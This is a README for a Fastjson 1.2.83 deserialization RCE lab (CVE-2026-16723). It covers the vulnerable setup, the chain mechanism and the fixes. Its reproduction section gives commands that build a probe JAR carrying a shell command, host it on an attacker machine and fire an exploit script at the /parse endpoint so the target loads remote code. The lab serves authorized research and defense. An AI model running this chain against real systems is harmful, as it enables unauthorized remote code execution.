Exploit for CVE-2026-16723

## https://sploitus.com/exploit?id=40825819-C478-50B2-BFB4-37D3FE18C5C1
# Fastjson 1.2.83 RCE Lab Environment (CVE-2026-16723)

> **Disclaimer:** This lab environment is intended only for security research, teaching demonstrations, and defense construction under authorized environments. Testing unauthorized targets without authorization may be illegal, and the user shall bear the consequences.**

## Vulnerability Overview

| Item | Description |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| Affected Versions | Fastjson 1.2.68 to 1.2.83 |
| Vulnerability Type | Deserialization Remote Code Execution (RCE) |
| Key Feature | **No third-party libraries required** |
| Complete RCE Conditions | JDK 8 + Spring Boot Fat-JAR + SafeMode disabled |

## Lab Environment Details

- **Fastjson 1.2.83**
  - **SafeMode disabled** (default state)

- **Spring Boot Fat-JAR** packaged (includes `LaunchedURLClassLoader`, leveraging essential components of the chain)
- **Fixed critical line:** Before calling `JSON.parse()`, `ParseController` sets the thread ClassLoader to `LaunchedURLClassLoader` (`Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())`). This is a necessary condition for the `@JSONType` detection mechanism to load classes remotely.
- Two parsing endpoints provided: `/parse` (JSON.parse) and `/parseObject` (JSON.parseObject)

## Environment Requirements

- **JDK 8** (Complete RCE requires JDK 8; JDK 9+ only supports SSRF, not complete RCE)
- Operating System: Windows/Linux/UOS/macOS
- Memory: At least 256MB available

## Building

Build the Fat-JAR from the source code (requires JDK 8 + Maven):

```bash
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
```

The build output is in `target/fastjson-rce-lab.jar`. If you don’t have Maven, you can use the Maven Wrapper included with the project (configure `mvnw` in advance).

## Quick Start

### Windows

```cmd
# Double-click start.bat
# Or via command line
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
```

### Linux

```bash
chmod +x start.sh
./start.sh

# Or manually
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
```

> **Regarding `--server.port=18080`:** Environment variables like `SERVER__PORT` may override the port configuration in `application.properties`. Specifying the port using command-line parameters ensures correct port settings (command-line parameters take precedence).
> **Regarding JVM parameters:** `-Xmx256m -XX:+UseSerialGC` is used to run the application correctly on low-memory virtual machines (e.g., Kali with 2-4GB of memory). You can remove these parameters if your machine has sufficient memory.
### Starting Verification

```bash
curl http://127.0.0.1:18080/status
```

Expected output:
```json
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}
```

`safeMode: false` and `vulnerable: true` indicate that the system is vulnerable.

## Endpoint Description

| Method | Path | Description |
|---|---|---|
| GET | `/` | Home page of the lab (HTML) |
| GET | `/status` | Configuration status of Fastjson (JSON format) |
| POST | `/parse` | `JSON.parse(body)` — Main vulnerability trigger endpoint |
| POST | `/parseObject` | `JSON.parseObject(body)` — Alternative trigger endpoint |

## Vulnerability Mechanism

1. The attacker sends a specially crafted JSON (with `@type` pointing to the JAR resource path).
2. Fastjson’s `checkAutoType()` method converts `typeName` into the resource path format “typeName.replace('.', '/') + .class”, which is used for detection.
3. `getResourceAsStream()` triggers `LaunchedURLClassLoader`, initiating an HTTP request to load the remote JAR file.
4. ASM scans the bytecode and identifies the `@JSONType` annotation, which is considered a sign of trust.
5. Dangerous base class checks are skipped; the process proceeds to `loadClass()` and `defineClass()`.
6. The static initialization block is triggered, leading to a Remote Code Execution (RCE) vulnerability.

### Key Code in the Pentest Environment

```java
// ParseController.java — /parse endpoint
@PostMapping("/parse")
public Map parse(@RequestBody String body) {
    // ⚠️ This line is crucial: switch to LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}
```

Without this line, Fastjson uses the system’s default AppClassLoader, preventing it from loading remote classes via the `jar:http://` protocol. ## Reproducing the Vulnerability

### Step 1: Obtaining the PoC Tool

```bash
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
```

### Step 2: Modifying GenProbe.java (Key)

The `poc/GenProbe.java` file in the repository has two compatibility issues fixed:

1. **Hardcoded `/bin/bash -c`** → replaced with `Runtime.exec(String)` for universal use on Windows/Linux.
2. Cross-platform command formats: Windows targets use `"cmd /c xxx"`, while Linux targets use `"touch /tmp/pwned"` or `"bash -c xxx"`.

### Step 3: Generating and Hosting the Probe Jar

For the complete attack process, refer to **`Pentest Guide.md`** (in the same directory), which includes:
- The complete seven-step attack procedure
- Command reference tables for various platforms
- Solutions for 6 common error messages

### Quick Verification (Windows Target Example)

```cmd
# On the attacker’s machine (or a machine capable of compiling Java)
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# Copy poc/www/probe to Kali
# Start HTTP hosting on Kali
cd poc/www && python3 -m http.server 19090

# Restart the pentest environment
python3 poc/exp.py -u http://pentest_ip:18080/parse -poc http://KALI_IP:19090/probe
```

## Fixes

### Urgent Fix: Enable SafeMode

```bash
# JVM startup parameter
-Dfastjson.parser.safeMode=true
```

```java
// Code configuration
ParserConfig.getGlobalInstance().setSafeMode(true);
```

### Long-term Fix: Migrate to Fastjson 2.x

```xml
    com.alibaba.fastjson2
    fastjson2
    2.x
```

Fastjson2 is not affected by this vulnerability. ### Other Measures

- Use the `com.alibaba:fastjson:1.2.83noneautotype` build version.
- Block outgoing HTTP traffic from the application server.
- Scan all instances that depend on Fastjson 1.x.

## Technical References

- Kirill Firsov (@k_firsov) disclosed: https://x.com/k_firsov/status/2078872293745570032
- PoC project: https://github.com/0x7eTeam/fastjson-1.2.83-rce
- Alibaba Security Bulletin (2026-07-21)
- Tencent Cloud Security Notice (2026-07-20)

[source-iocs-preserved url=http://靶场IP:18080/parse]